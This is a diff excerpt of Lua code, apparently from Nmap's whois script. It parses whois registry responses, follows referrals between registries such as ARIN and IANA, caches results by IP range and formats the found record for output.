+ -- modify the data table depending on whether we're redirecting or quitting
+ if have_objects then
+
+ stdnse.debug5("Extracting Fields from response.")
+
+ -- optionally constrain response to a more focused area
+ -- discarding previous extraction
+ if meta.smallnet_rule then
+ local offset, ptr, strbgn, strend
+ response_chunk, offset = constrain_response( response, this_db, ip, meta )
+ if offset > 0 then
+ data[this_db] = extract_objects_from_response( response_chunk, this_db, meta )
+ end
+ if offset > 1 and meta.unordered then
+ -- fetch an object immediately in front of inetnum
+ stdnse.debug5("%s Searching for an object group immediately before this range.", this_db)
+ -- split objects from the record, up to offset. Last object should be the one we want.
+ local obj_sel = stringaux.strsplit( "\r?\n\r?\n", response:sub( 1, offset ) )
+ response_chunk = "\n" .. obj_sel[#obj_sel] .. "\n"
+ -- check if any of the objects we like match this single object in response chunk
+ for ob, t in pairs( meta.fieldreq ) do
+ if ob ~= "ob_exist" and type( t.ob_start ) == "string" and response_chunk:match( t.ob_start ) then
+ data[this_db][ob] = extract_objects_from_response( response_chunk, this_db, meta, ob )
+ end
+ end
+
+ end -- if offset
+ end -- if meta.smallnet_rule
+
+ -- collect, from each extracted object, the tables of field values and positions and concatenate these
+ -- to provide the ability to easily compare two results
+ local coll, comp = {}, ""
+ for ob, t in pairs( data[this_db] ) do
+ for i, comp_string in pairs( t.for_compare ) do
+ coll[#coll+1] = { i, comp_string }
+ end
+ -- kill these now they're collected
+ data[this_db][ob].for_compare = nil
+ end
+ -- sort them by position in the record, ascending
+ table.sort( coll, function(a,b) return a[1]<b[1] end )
+ -- concatenate them to create a long string we can compare. Assign to .comparison after the debug bit following...
+ for i, v in ipairs( coll ) do
+ comp = comp .. v[2]
+ end
+
+ -- DEBUG
+ stdnse.debug5("%s Fields captured :", this_db)
+ for ob, t in pairs( data[this_db] ) do
+ for fieldname, fieldvalue in pairs( t ) do
+ stdnse.debug5("%s %s.%s %s.", this_db, ob, fieldname, fieldvalue)
+ end
+ end
+
+ -- add comparison string to extracted data
+ data[this_db].comparison = comp
+
+ -- add mirrored_db to extracted data
+ data[this_db].mirror = mirrored_db
+
+ end -- have objects
+
+ -- If we are accepting a record, only cache the data for that record
+ if (have_objects and not nextdb) or nmap.registry.whois.nofollow then
+ -- no redirect - accept as result and clear any previous data
+ data = data[this_db]
+ data.id = this_db
+ elseif nextdb and table.concat( tracking.completed, " " ):match( nextdb ) then
+ -- redirected to a previously queried service - accept as result
+ data = data[nextdb]
+ data.id = nextdb
+ nextdb = nil
+ elseif have_objects and ( data.iana > 1 ) and not table.concat( tracking.completed, " " ):match( nmap.registry.whois.whoisdb.arin.id ) then
+ -- two redirects to IANA - query ARIN next (which we should probably have done already!)
+ nextdb = nmap.registry.whois.whoisdb.arin.id
+ elseif have_objects and ( data.iana > 1 ) and table.concat( tracking.completed, " " ):match( nmap.registry.whois.whoisdb.arin.id ) then
+ -- two redirects to IANA - accept result from ARIN
+ data = data[nmap.registry.whois.whoisdb.arin.id]
+ data.id = nmap.registry.whois.whoisdb.arin.id
+ nextdb = nil
+ elseif not have_objects then
+ data = data[this_db]
+ data.id = this_db
+ end
+
+ -- cache our analysis
+ local range
+
+ if have_objects then
+
+ if data[this_db] and data[this_db].ob_netnum then
+ range = data[this_db].ob_netnum[meta.reg]
+ elseif data.ob_netnum and data.mirror then
+ range = data.ob_netnum[nmap.registry.whois.whoisdb[data.mirror].reg]
+ elseif data.ob_netnum then
+ range = data.ob_netnum[nmap.registry.whois.whoisdb[data.id].reg]
+ end
+
+ -- if nocache then enforce a smallest allowed prefix length
+ -- (these values should match those in add_to_cache)
+ if not nmap.registry.whois.using_cache and not nextdb then
+ local smallest_allowed_prefix = 29
+ if range:match( ":" ) then
+ smallest_allowed_prefix = 48
+ end
+ local range_prefix = get_prefix_length( range )
+ if type( range_prefix ) ~= "number" or range_prefix < smallest_allowed_prefix then
+ range = nil
+ end
+ end
+
+ -- prevent caching (0/0 or /8) or (::/0 or /23) or
+ range = not_short_prefix( ip, range, nextdb )
+
+ end
+
+ add_to_cache( ip, range, nextdb, data )
+
+ return data
+
+end
+
+
+
+---
+-- Extracts Whois record objects (or a single object) and accompanying fields from the supplied (possibly partial) response to a whois query.
+-- If a fifth parameter specific_object is not supplied, all objects defined in fields_meta will be captured if they are present in the response.
+-- @param response_string String obtained from a service in response to our query.
+-- @param db String id of the whois service queried.
+-- @param meta Table, nmap.registry.whois.whoisdb[db] where db is either the service queried or a mirrored service.
+-- @param specific_object Optional string index of a single object defined in fields_meta (e.g. "inetnum").
+-- @return Table indexed by object name containing the fields captured for each object found.
+
+function extract_objects_from_response( response_string, db, meta, specific_object )
+
+ local objects_to_extract = {}
+ local extracted_objects = {}
+
+ if type( response_string ) ~= "string" or response_string == "" then return {} end
+ if type( meta ) ~= "table" or type( meta.fieldreq ) ~= "table" then return {} end
+
+ -- we either receive a table for one object or for all objects
+ if type( specific_object ) == "string" and meta.fieldreq[specific_object] then
+ objects_to_extract[specific_object] = meta.fieldreq[specific_object]
+ stdnse.debug5("Extracting a single object: %s.", specific_object)
+ else
+ stdnse.debug5("Extracting all objects.")
+ objects_to_extract = meta.fieldreq
+ end
+
+ for object_name, object in pairs( objects_to_extract ) do
+ if object_name and object_name ~= "ob_exist" then
+ stdnse.debug5("Seeking object group: %s.", object_name)
+ extracted_objects[object_name] = {}
+ extracted_objects[object_name].for_compare = {} -- this will allow us to compare two tables
+ -- get a substr of response_string that corresponds to a single object
+ local ob_start, j = response_string:find( object.ob_start )
+ local i, ob_end = response_string:find( object.ob_end, j )
+ -- if we could not find the end, make the end EOF
+ ob_end = ob_end or -1
+ if ob_start and ob_end then
+ stdnse.debug5("Capturing: %s with indices %s and %s.", object_name, ob_start, ob_end)
+ local obj_string = response_string:sub( ob_start, ob_end )
+ for fieldname, pattern in pairs( object ) do
+ if fieldname ~= "ob_start" and fieldname ~= "ob_end" then
+ local data_pos, data_string = obj_string:find( pattern ), trim( obj_string:match( pattern ) )
+ if data_string then
+ extracted_objects[object_name][fieldname] = data_string
+ extracted_objects[object_name].for_compare[data_pos+ob_start] = data_string
+ end
+ end
+ end
+ end -- if ob_start and ob_end
+
+ end -- if object_name
+ end -- for object_name
+
+ if specific_object then extracted_objects = extracted_objects[specific_object] end -- returning one object
+
+ return extracted_objects
+
+end -- function
+
+
+
+---
+-- Checks for referrals in fields extracted from the whois query response.
+-- @param db String id of the whois service queried.
+-- @param data Table, indexed by whois service id, of extracted fields.
+-- @param meta Table, nmap.registry.whois.whoisdb[db] where db is either the service queried or a mirrored service.
+-- @return Boolean "found". True if a referral is not found (i.e. No Referral means the desired record has been "found"), otherwise False.
+-- @return String "redirect". Service id to which we are referred, or nil.
+-- @return Number "iana_count". This is the total number of referral to IANA for this Target (for all queries) and is stored in data.iana.
+-- @see redirection_validation
+
+function redirection_rules( db, data, meta )
+
+ if type( db ) ~= "string" or db == "" or type( data ) ~= "table" or not next( data ) then
+ return false, nil, nil
+ end
+
+ local found = false
+ local redirect = nil
+ local iana_count
+ if type( data.iana ) == "number" then
+ iana_count = data.iana
+ else
+ iana_count = 0
+ end
+
+ if not meta or not meta.redirects then
+ return found, redirect, iana_count
+ end
+
+ ---
+ -- Decides the value of a redirect and whether it should be followed. Referrals to IANA, found in whois records that represent the
+ -- "Whole Address Space", are acted upon by redirecting to ARIN or accepting the record from ARIN if it was previously queried. This
+ -- function also catches (ignores) referrals to the referring service - which happens as a side-effect of the method of redirection detection.
+ -- The return values of this function will be returned by its parent function.
+ -- @param directed_to String id of a whois service.
+ -- @param directed_from String id of a whois service.
+ -- @param icnt Number of total redirects to IANA.
+ -- @return Boolean "found". True if a redirect is not found or ignored, otherwise False.
+ -- @return String "redirect". Service id to which we are redirected, or nil.
+ -- @return Number "iana_count" which is incremented here if applicable.
+
+ local redirection_validation = function( directed_to, directed_from, icnt )
+
+ local iana = nmap.registry.whois.whoisdb.iana.id
+ local arin = nmap.registry.whois.whoisdb.arin.id
+
+ -- arin record points to iana so we won't follow and we assume we have our record
+ if directed_to == iana and directed_from == arin then
+ stdnse.debug4("%s Accept arin record (matched IANA).", directed_from)
+ return true, nil, ( icnt+1 )
+ end
+
+ -- non-arin record points to iana so we query arin next
+ if directed_to == iana then
+ stdnse.debug4("Redirecting to arin (matched IANA).")
+ return false, arin, ( icnt+1 )
+ end
+
+ -- a redirect, but not to iana or to self, so we follow it.
+ if directed_to ~= nmap.registry.whois.whoisdb[directed_from].id then
+ stdnse.debug4("%s redirects us to %s.", directed_from, directed_to)
+ return false, directed_to, icnt
+ end
+
+ -- redirect to self
+ return true, nil, icnt
+
+ end --redirection_validation
+
+ -- iterate over each table of redirect info for a specific field
+ for _, redirect_elems in ipairs( meta.redirects ) do
+
+ local obj, fld, pattern = table.unpack( redirect_elems ) -- three redirect elements
+ -- if a field has been captured for the given redirect info
+ if data[db][obj] and data[db][obj][fld] then
+
+ stdnse.debug5("Seek redirect in object: %s.%s for %s.", obj, fld, pattern)
+ -- iterate over nmap.registry.whois.whoisdb to find pattern (from each service) in the designated field
+ for member, mem_properties in pairs( nmap.registry.whois.whoisdb ) do
+
+ -- if pattern if found in the field, we have a redirect to member
+ if type( mem_properties[pattern] ) == "string" and string.lower( data[db][obj][fld] ):match( mem_properties[pattern] ) then
+
+ stdnse.debug5("Matched %s in %s.%s.", pattern, obj, fld)
+ return redirection_validation( nmap.registry.whois.whoisdb[member].id, db, iana_count )
+
+ elseif type( mem_properties[pattern] ) == "table" then
+
+ -- pattern is an array of patterns
+ for _, pattn in ipairs( mem_properties[pattern] ) do
+ if type( pattn ) == "string" and string.lower( data[db][obj][fld] ):match( pattn ) then
+ stdnse.debug5("Matched %s in %s.%s.", pattern, obj, fld)
+ return redirection_validation( nmap.registry.whois.whoisdb[member].id, db, iana_count )
+ end
+ end
+
+ end
+
+ end -- for mem, mem_properties
+
+ end
+
+ end -- for _,v in ipairs
+
+ -- if redirects have not been found then assume that the record has been found.
+ found = true
+ return found, redirect, iana_count
+
+end
+
+
+
+---
+-- Attempts to reduce the query response to a subset containing the most specific assignment information.
+-- It does this by collecting inetnum objects (and their positions in the response) and choosing the smallest assignment represented by them.
+-- A subset beginning with the most specific inetnum object and ending before any further inetnum objects is returned along with the position
+-- of the subset within the entire response.
+-- @param response String obtained from a whois service in response to our query.
+-- @param db String id of the service from which the response was obtained.
+-- @param ip String representing the Target's IP address.
+-- @param meta Table, nmap.registry.whois.whoisdb[db] where db is either the service queried or a mirrored service.
+-- @return String containing the most specific part of the response (or the entire response if only one inetnum object is present).
+-- @return Number position of the start of the most specific part of the response.
+-- @see smallest_range
+
+function constrain_response( response, db, ip, meta )
+ local strbgn = 1
+ local strend = 1
+ local ptr = 1
+ local mptr = {}
+ local bound = nil
+
+ -- collect all inetnums objects (and their position) into a table
+ while strbgn and meta.fieldreq do
+ strbgn, strend = response:find( meta.fieldreq.ob_exist, strend )
+ if strbgn then
+ local pair = {}
+ pair.pointer = strbgn
+ pair.range = trim( response:match( meta.smallnet_rule, strbgn ) )
+ mptr[#mptr+1] = pair
+ end
+ end
+
+ if # mptr > 1 then
+ -- find the closest one to host.ip and constrain the response to it
+ stdnse.debug5("%s Focusing on the smallest of %s address ranges.", db, #mptr)
+ -- sort the table mptr into nets ascending
+ table.sort( mptr, smallest_range )
+ -- select the first net that includes host.ip
+ local str_net
+ local index
+ for i, pointer_to_inetnum in ipairs( mptr ) do
+ if ipOps.ip_in_range( ip, pointer_to_inetnum.range ) then
+ str_net = pointer_to_inetnum.range
+ ptr = pointer_to_inetnum.pointer
+ index = i
+ break
+ end
+ end
+
+ if mptr[index+1] and ( mptr[index+1].pointer > mptr[index].pointer ) then
+ bound = mptr[index+1].pointer
+ end
+ stdnse.debug5("%s Smallest range containing target IP addr. is %s.", db, trim( str_net ))
+ -- isolate inetnum and associated objects
+ if bound then
+ stdnse.debug5("%s smallest range is offset from %s to %s.", db, ptr, bound)
+ -- get from pointer to bound
+ return response:sub(ptr,bound), ptr
+ else
+ stdnse.debug5("%s smallest range is offset from %s to %s.", db, ptr, "the end")
+ -- or get the whole thing from the pointer onwards
+ return response:sub(ptr), ptr
+ end
+ end -- if # mptr
+
+ return response, 0
+
+end -- function
+
+
+
+---
+-- This function prevents the caching of large ranges in certain circumstances which would adversely affect lookups against the cache.
+-- Specifically we don't allow a cache entry including either a referral or a found record with a range equal to 0/0 or ::/0.
+-- Instead we cache an /8 or, in the case of IPv6, /23 - These are large, but safer ranges.
+-- Additionally, we don't allow a cache entry for a found record with ranges larger than IPv4 /8 and IPv6 /23.
+-- Instead we cache an /24 or, in the case of IPv6, /96 - These are small ranges and are a fair trade-off between accuracy and repeated queries.
+-- @param ip String representing the Target's IP address.
+-- @param range String representing a range of IP addresses.
+-- @usage range = not_short_prefix( ip, range )
+-- @return String range - either the supplied, or a modified one (or nil in case of an error).
+-- @see get_assignment
+
+function not_short_prefix( ip, range, redirect )
+
+ if type( range ) ~= "string" or range == "" then return nil end
+
+ local err, zero_first, zero_last, fake_prefix, short_prefix, safe_prefix, first, last = {}
+ if range:match( ":" ) then
+ short_prefix = 23
+ safe_prefix = 96
+ zero_first, zero_last, err[#err+1] = ipOps.get_ips_from_range( "::/0" )
+ else
+ short_prefix = 8
+ safe_prefix = 24
+ zero_first, zero_last, err[#err+1] = ipOps.get_ips_from_range( "0/0" )
+ end
+
+ first, last, err[#err+1] = ipOps.get_ips_from_range( range )
+
+ if #err > 0 then
+ stdnse.debug1("Error in not_short_prefix: s%.", table.concat( err, " " ))
+ return nil
+ end
+
+ if ipOps.compare_ip( first, "eq", zero_first ) and ipOps.compare_ip( last, "eq", zero_last ) then
+ return ( get_assignment ( ip, short_prefix ) )
+ elseif not redirect and ( get_prefix_length( range ) <= short_prefix ) then
+ return ( get_assignment ( ip, safe_prefix ) )
+ end
+
+ return range
+
+end
+
+
+
+---
+-- Caches discovered records and referrals in the registry.
+-- The cache is indexed by the Target IP addresses sent as Whois query terms.
+-- A lookup against the cache is performed by testing the cached IP address range, hence a range must always be present in each cache entry.
+-- Where a range is not passed as a parameter, a small assignment containing the Target's IP address is instead cached.
+-- Either a referral or output data should also be present in the cache - so one or the other should always be passed as a parameter.
+-- @param ip String representing the Target's IP address.
+-- @param range String representing the most specific assignment found in a whois record. May be nil.
+-- @param redirect String id of a referred service defined in whoisdb.
+-- @param data Table or String of extracted data.
+-- @see get_assignment
+
+function add_to_cache( ip, range, redirect, data )
+
+ if type( ip ) ~= "string" or ip == "" then return end
+
+ local af, longest_prefix
+ if ip:match( ":" ) then
+ af = "ipv6"
+ longest_prefix = 48 -- increased from 32 (20080902).
+ else
+ af = "ipv4"
+ longest_prefix = 29 -- 8 hosts
+ end
+
+ -- we need to cache some range so we'll cache the small assignment that includes ip.
+ if type( range ) ~= "string" or type( get_prefix_length( range ) ) ~= "number" then
+ range = get_assignment( ip, longest_prefix )
+ stdnse.debug5("Caching an assumed Range: %s", range)
+ end
+
+ nmap.registry.whois.cache[ip] = {} -- destroy any previous cache entry for this target.
+ nmap.registry.whois.cache[ip].data = data
+ nmap.registry.whois.cache[ip].range = range
+ nmap.registry.whois.cache[ip].redirect = redirect
+
+end
+
+
+
+---
+-- When passed to <code>table.sort</code>, will sort a table of tables containing IP address ranges in ascending order of size.
+-- Identical ranges will be sorted in descending order of their position within a record if it is present.
+-- @param range_1 Table: {range = String, pointer = Number}
+-- where range is an IP address range and pointer is the position of that range in a record.
+-- @param range_2 Same as range_1.
+-- @return Boolean True if the positions of range_1 and range_2 in the table being sorted are correct, otherwise false.
+
+function smallest_range( range_1, range_2 )
+
+ local sorted = true -- return value (defaulting true to avoid a loop)
+ local r1_first, r1_last = ipOps.get_ips_from_range( range_1.range )
+ local r2_first, r2_last = ipOps.get_ips_from_range( range_2.range )
+
+ if range_1.pointer
+ and ipOps.compare_ip( r1_first, "eq", r2_first )
+ and ipOps.compare_ip( r1_last, "eq", r2_last )
+ and range_1.pointer < range_2.pointer then
+ sorted = false
+ end
+
+ if ipOps.compare_ip( r1_first, "le", r2_first ) and ipOps.compare_ip( r1_last, "ge", r2_last ) then sorted = false end
+
+ return sorted
+
+end
+
+
+
+---
+-- Given an IP address and a prefix length, returns a string representing a valid IP address assignment (size is not checked) which contains
+-- the supplied IP address. For example, with ip = 192.168.1.187 and prefix = 24 the return value will be 192.168.1.1-192.168.1.255
+-- @param ip String representing an IP address.
+-- @param prefix String or number representing a prefix length. Should be of the same address family as ip.
+-- @return String representing a range of addresses from the first to the last hosts (or nil in case of an error).
+-- @return Nil or error message in case of an error.
+
+function get_assignment( ip, prefix )
+
+ local some_ip, err = ipOps.ip_to_bin( ip )
+ if err then return nil, err end
+
+ prefix = tonumber( prefix )
+ if not prefix or ( prefix < 0 ) or ( prefix > string.len( some_ip ) ) then
+ return nil, "Error in get_assignment: Invalid prefix length."
+ end
+
+ local hostbits = string.sub( some_ip, prefix + 1 )
+ hostbits = string.gsub( hostbits, "1", "0" )
+ local first = string.sub( some_ip, 1, prefix ) .. hostbits
+ err = {}
+ first, err[#err+1] = ipOps.bin_to_ip( first )
+ local last
+ last, err[#err+1] = ipOps.get_last_ip( ip, prefix )
+ if #err > 0 then return nil, table.concat( err, " " ) end
+
+ return first .. "-" .. last
+
+end
+
+
+
+---
+-- Controls what to output at the end of the script execution. Attempts to get data from the registry. If the data is a string it is output as
+-- it is. If the data is a table then <code>format_data_for_output</code> is called. If there is no cached data, nothing will be output.
+-- @param ip String representing the Target's IP address.
+-- @param services_queried Table of strings. Each is the id of a whois service queried for the Target (tracking.completed).
+-- @return String - Host Script Results.
+-- @see get_output_from_cache, format_data_for_output
+
+function output( ip, services_queried )
+
+ local data = get_output_from_cache( ip )
+
+ if type( data ) == "string" then
+ return data
+ elseif type( data ) == "table" then
+ return format_data_for_output( data )
+ end
+
+ if type( services_queried ) ~= "table" then
+ stdnse.debug1("Error in output(): No data found.")
+ return nil
+ elseif #services_queried == 0 then
+ stdnse.debug1("Error in output(): No data found, no queries were completed.")
+ return nil
+ elseif #services_queried > 0 then
+ stdnse.debug1("Error in output(): No data found - could not understand query responses.")
+ return nil
+ end
+
+ return nil -- just to be safe
+
+end
+
+
+
+---
+-- Retrieves data applicable to the Target from the registry. Cached data is only returned if the Target IP matches a key in the cache.
+-- If the Target IP is in a range for which there exists cached data then a pointer string is instead returned.
+-- @param ip String representing the Target's IP address.
+-- @return Table or string or nil.
+-- @see get_cache_key
+
+function get_output_from_cache( ip )
+
+ local ip_key = get_cache_key( ip )
+ if not ip_key then
+ stdnse.debug1("Error in get_output_from_cache().")
+ return nil
+ end
+
+ local cache_data = nmap.registry.whois.cache[ip_key]
+
+ if ip == ip_key then
+ return cache_data.data
+ else
+ return "See the result for " .. ip_key .. "."
+ end
+
+end
+
+
+
+---
+-- Uses the output_short or output_long tables to format the supplied table of data for output as a string.
+-- @param data Table of captured fields grouped into whois record objects from a single record.
+-- data.id is a string id of the service from which the record was retrieved and data.mirror is a string id of a mirrored service.
+-- @return String, ready for output (i.e. to be returned by action() ).
+
+function format_data_for_output( data )
+ -- DISPLAY THE FOUND RECORD
+ -- ipairs over the table that dictates the order in which fields
+ -- should be output
+
+ local output, display_owner, display_rules = {}
+ if data.mirror then
+ display_owner = nmap.registry.whois.whoisdb[data.mirror]
+ else
+ display_owner = nmap.registry.whois.whoisdb[data.id]
+ end
+
+ if nmap.verbosity() > 0 then
+ display_rules = display_owner.output_long or display_owner.output_short
+ else
+ display_rules = display_owner.output_short or display_owner.output_long
+ end
+ if not display_rules then return "Could not format results for display." end
+
+ output[#output+1] = "Record found at "
+ output[#output+1] = nmap.registry.whois.whoisdb[data.id].hostname
+
+ for _, objects in ipairs( display_rules ) do
+
+ local object_name, fields
+ if type( objects[1] ) == "string" and objects[1] ~= "" and data[objects[1]] then
+ object_name = objects[1]
+ end
+ if object_name and type( objects[2] ) == "table" and #objects[2] > 0 then
+ fields = objects[2]
+ end
+
+ if fields then
+ for _, field_name in ipairs( fields ) do
+ if type( field_name ) == "string" and data[object_name][field_name] then
+
+ output[#output+1] = "\n"
+ output[#output+1] = field_name
+ output[#output+1] = ": "
+ output[#output+1] = data[object_name][field_name]
+
+ elseif type( field_name ) == "table" then
+
+ local first_in_line = true
+
+ for _, field_name_sameline in ipairs( field_name ) do
+ if type( field_name_sameline ) == "string" and data[object_name][field_name_sameline] then
+ if first_in_line then
+ first_in_line = false
+ output[#output+1] = "\n"
+ else
+ output[#output+1] = " " -- the space between items on a line
+ end
+ output[#output+1] = field_name_sameline
+ output[#output+1] = ": "
+ output[#output+1] = data[object_name][field_name_sameline]
+
+ end
+ end
+
+ end
+ end
+ end
+
+ end
+
+ if #output < 3 then
+ output[#output+1] = ", but its content was not understood."
+ end
+
+ return ( table.concat( output ):gsub( "[%s\n]\n", "\n" ) )
+
+end
+
+
+
+---
+-- Trims space characters from either end of a string and converts an empty string to nil.
+-- @param to_trim String to be trimmed.
+-- @return String, trimmed. If the string is empty before or after trimming (or if the parameter was not a string) then returns nil.
+
+function trim( to_trim )
+
+ if type( to_trim ) ~= "string" or to_trim == "" then return nil end
+ local trimmed = ( string.gsub( to_trim, "^%s*(.-)%s*$", "%1" ) )
+ if trimmed == "" then trimmed = nil end
+ return trimmed
+
+end
+
+
+
+---
+-- Called once per script invocation, the purpose of this function is to populate the registry with variables and data for use by all threads.
+-- @see get_args, get_local_assignments_data
+
+function script_init()
+
+ ---
+ -- fields_meta is a table of patterns and captures and defines from which fields of a whois record to extract data.
+ -- The fields are grouped into sets of RPSL-like objects with a key (e.g. rpsl, arin) which identifies the set.
+ --
+ -- ob_exist: A pattern that is used to determine whether a record contains a set of objects.
+ -- It does not have to be unique to the set of objects. It does not require captures.
+ -- ob_netnum: A RPSL-like object containing fields describing the Address Assignment. This object is mandatory for this script.
+ -- Other optional objects include: ob_org (organisation), ob_role (role), ob_persn (person) and ob_cust (customer).
+ --
+ -- Each object table must contain the following:
+ -- ob_start: Pattern for the first field in the object and which marks the start of the object. Does not require captures.
+ -- ob_end: Pattern for the last field in the object and which marks the end of the object. Usually ends with "\r?\n\r?\n".
+ -- Does not require captures.
+ --
+ -- The remaining key-value pairs for each object should conform to the following:
+ -- key: is a short name for the field in a whois record and which will be displayed in the scripts output to identify the field.
+ -- value: is a pattern for the field and contains a capture for the data required to be captured.
+
+ nmap.registry.whois.fields_meta = {
+ rpsl = {
+ ob_exist = "\r?\n?%s*[Ii]net6?num:%s*.-\r?\n",
+ ob_netnum = {
+ ob_start = "\r?\n?%s*[Ii]net6?num:%s*.-\r?\n",
+ ob_end = "\r?\n%s*[Ss]ource:%s*.-\r?\n\r?\n",
+ inetnum = "\r?\n%s*[Ii]net6?num:%s*(.-)\r?\n",
+ netname = "\r?\n%s*[Nn]et[-]-[Nn]ame:%s*(.-)\r?\n",
+ nettype = "\r?\n%s*[Nn]et[-]-[Tt]ype:%s*(.-)\r?\n",
+ descr = "[Dd]escr:[^\r?\n][%s]*(.-)\r?\n",
+ country = "\r?\n%s*[Cc]ountry:%s*(.-)\r?\n",
+ status = "\r?\n%s*[Ss]tatus:%s*(.-)\r?\n",
+ source = "\r?\n%s*[Ss]ource:%s*(.-)\r?\n"
+ },
+ ob_org = {
+ ob_start = "\r?\n%s*[Oo]rgani[sz]ation:%s*.-\r?\n",
+ ob_end = "\r?\n%s*[Ss]ource:%s*.-\r?\n\r?\n",
+ organisation = "\r?\n%s*[Oo]rgani[sz]ation:%s*(.-)\r?\n",
+ orgname = "\r?\n%s*[Oo]rg[-]-[Nn]ame:%s*(.-)\r?\n",
+ descr = "[Dd]escr:[^\r?\n][%s]*(.-)\r?\n",
+ email = "\r?\n%s*[Ee][-]-[Mm]ail:%s*(.-)\r?\n"
+ },
+ ob_role = {
+ ob_start = "\r?\n%s*[Rr]ole:%s*.-\r?\n",
+ ob_end = "\r?\n%s*[Ss]ource:%s*.-\r?\n\r?\n",
+ role = "\r?\n%s*[Rr]ole:%s*(.-)\r?\n",
+ email = "\r?\n%s*[Ee][-]-[Mm]ail:%s*(.-)\r?\n"
+ },
+ ob_persn = {
+ ob_start = "\r?\n%s*[Pp]erson:%s*.-\r?\n",
+ ob_end = "\r?\n%s*[Ss]ource:%s*.-\r?\n\r?\n",
+ person = "\r?\n%s*[Pp]erson:%s*(.-)\r?\n",
+ email = "\r?\n%s*[Ee][-]-[Mm]ail:%s*(.-)\r?\n"
+ }
+ },
+ arin = {
+ ob_exist = "\r?\n%s*[Nn]et[-]-[Rr]ange:.-\r?\n",
+ ob_netnum = {
+ ob_start = "\r?\n%s*[Nn]et[-]-[Rr]ange:.-\r?\n",
+ ob_end = "\r?\n\r?\n",
+ netrange = "\r?\n%s*[Nn]et[-]-[Rr]ange:(.-)\r?\n",
+ netname = "\r?\n%s*[Nn]et[-]-[Nn]ame:(.-)\r?\n",
+ nettype = "\r?\n%s*[Nn]et[-]-[Tt]ype:(.-)\r?\n"
+ },
+ ob_org = {
+ ob_start = "\r?\n%s*[Oo]rg[-]-[Nn]ame:.-\r?\n",
+ ob_end = "\r?\n\r?\n",
+ orgname = "\r?\n%s*[Oo]rg[-]-[Nn]ame:(.-)\r?\n",
+ orgid = "\r?\n%s*[Oo]rg[-]-[Ii][Dd]:(.-)\r?\n",
+ stateprov = "\r?\n%s*[Ss]tate[-]-[Pp]rov:(.-)\r?\n",
+ country = "\r?\n%s*[Cc]ountry:(.-)\r?\n"
+ },
+ ob_cust = {
+ ob_start = "\r?\n%s*[Cc]ust[-]-[Nn]ame:.-\r?\n",
+ ob_end = "\r?\n\r?\n",
+ custname = "\r?\n%s*[Cc]ust[-]-[Nn]ame:(.-)\r?\n",
+ stateprov = "\r?\n%s*[Ss]tate[-]-[Pp]rov:(.-)\r?\n",
+ country = "\r?\n%s*[Cc]ountry:(.-)\r?\n"
+ },
+ ob_persn = {
+ ob_start = "\r?\n%s*[Oo]rg[-]-[Tt]ech[-]-[Nn]ame:.-\r?\n",
+ ob_end = "\r?\n\r?\n",
+ orgtechname = "\r?\n%s*[Oo]rg[-]-[Tt]ech[-]-[Nn]ame:(.-)\r?\n",
+ orgtechemail = "\r?\n%s*[Oo]rg[-]-[Tt]ech[-]-[Ee][-]-[Mm]ail:(.-)\r?\n"
+ }
+ },
+ lacnic = {
+ ob_exist = "\r?\n%s*[Ii]net6?num:%s*.-\r?\n",
+ ob_netnum = {
+ ob_start = "\r?\n%s*[Ii]net6?num:%s*.-\r?\n",
+ ob_end = "\r?\n\r?\n",
+ inetnum = "\r?\n%s*[Ii]net6?num:%s*(.-)\r?\n",
+ owner = "\r?\n%s*[Oo]wner:%s*(.-)\r?\n",
+ ownerid = "\r?\n%s*[Oo]wner[-]-[Ii][Dd]:%s*(.-)\r?\n",
+ responsible = "\r?\n%s*[Rr]esponsible:%s*(.-)\r?\n",
+ country = "\r?\n%s*[Cc]ountry:%s*(.-)\r?\n",
+ source = "\r?\n%s*[Ss]ource:%s*(.-)\r?\n"},
+ ob_persn = {ob_start = "\r?\n%s*[Pp]erson:%s*.-\r?\n",
+ ob_end = "\r?\n\r?\n",
+ person = "\r?\n%s*[Pp]erson:%s*(.-)\r?\n",
+ email = "\r?\n%s*[Ee][-]-[Mm]ail:%s*(.-)\r?\n"
+ }
+ },
+ jpnic = {
+ ob_exist = "\r?\n%s*[Nn]etwork%s-[Ii]nformation:%s*.-\r?\n",
+ ob_netnum = {
+ ob_start = "[[Nn]etwork%s*[Nn]umber]%s*.-\r?\n",
+ ob_end = "\r?\n\r?\n",
+ inetnum = "[[Nn]etwork%s*[Nn]umber]%s*(.-)\r?\n",
+ netname = "[[Nn]etwork%s*[Nn]ame]%s*(.-)\r?\n",
+ orgname = "[[Oo]rganization]%s*(.-)\r?\n"
+ }
+ }
+ }
+
+ ---
+ -- whoisdb defines the whois services this script is able to query and the script output produced for them.
+ -- Each entry is a key-value pair where the key is a short name for the service and value is a table of definitions for that service.
+ -- Note that there is defined here an entry for IANA which does not have a whois service. The entry is defined to allow us to redirect to ARIN when
+ -- IANA is referred to in a record.
+ --
+ -- Each service defined should contain the following:
+ --
+ -- id: String. Matches the key for the service and is a short name for the service.
+ -- hostname: String. Hostname of the service.
+ -- preflag: String. Prepended to the target IP address sent in the whois query.
+ -- postflag: String. Appended to the target IP address sent in the whois query.
+ -- longname: Table of strings. Each is a lowercase official (or semi-official) name of the service.
+ -- fieldreq: Linked table entry. The key identifying a table of a set of objects defined in fields_meta.
+ -- In its records each whois service displays a particular set of objects as defined here.
+ -- smallnet_rule: Linked table entry. The key of a pattern for the field defined in fields_meta which captures the Assignment Range. This is an
+ -- optional entry and is used to extract the smallest (i.e. Most Specific) range from a record when more than one range is detailed.
+ -- redirects: Table of tables, containing strings. Used to determine whether a record is referring to a different whois service by
+ -- searching for service specific information in certain fields of the record.
+ -- Each entry is a table thus: { "search_object", "search_field", "pattern" }
+ -- search_object: is the key name for a record object defined in fields_meta, in which to search.
+ -- search_field: is the key name for a field of the object, the data of which to search.
+ -- pattern: is typically the id or longname key names.
+ -- In the example: {"ob_org", "orgname", "longname"}, we cycle through each service defined in whoisdb and look for its longname in
+ -- the ob_org.orgname of the current record.
+ -- output_short: Table for each object to be displayed when Nmap verbosity is zero. The first element of each table is the object name and the
+ -- second element is a table of fields to display. The elements of the second may be field names, which are each output to a new
+ -- line, or tables containing field names which are output to the same line.
+ -- output_long: Table for each object to be displayed when Nmap verbosity is one or above. The structure is the same as output_short.
+ -- reg: String name for the field in ob_netnum which captures the Assignment Range (e.g. "netrange", "inetnum"), the data of which is
+ -- cached in the registry.
+ -- unordered: Boolean. Optional. True if the records from the service display an object other than ob_netnum as the first in the record (such
+ -- as at ARIN). This flag is used to decide whether we should extract an object immediately before the relevant ob_netnum object
+ -- from a record.
+
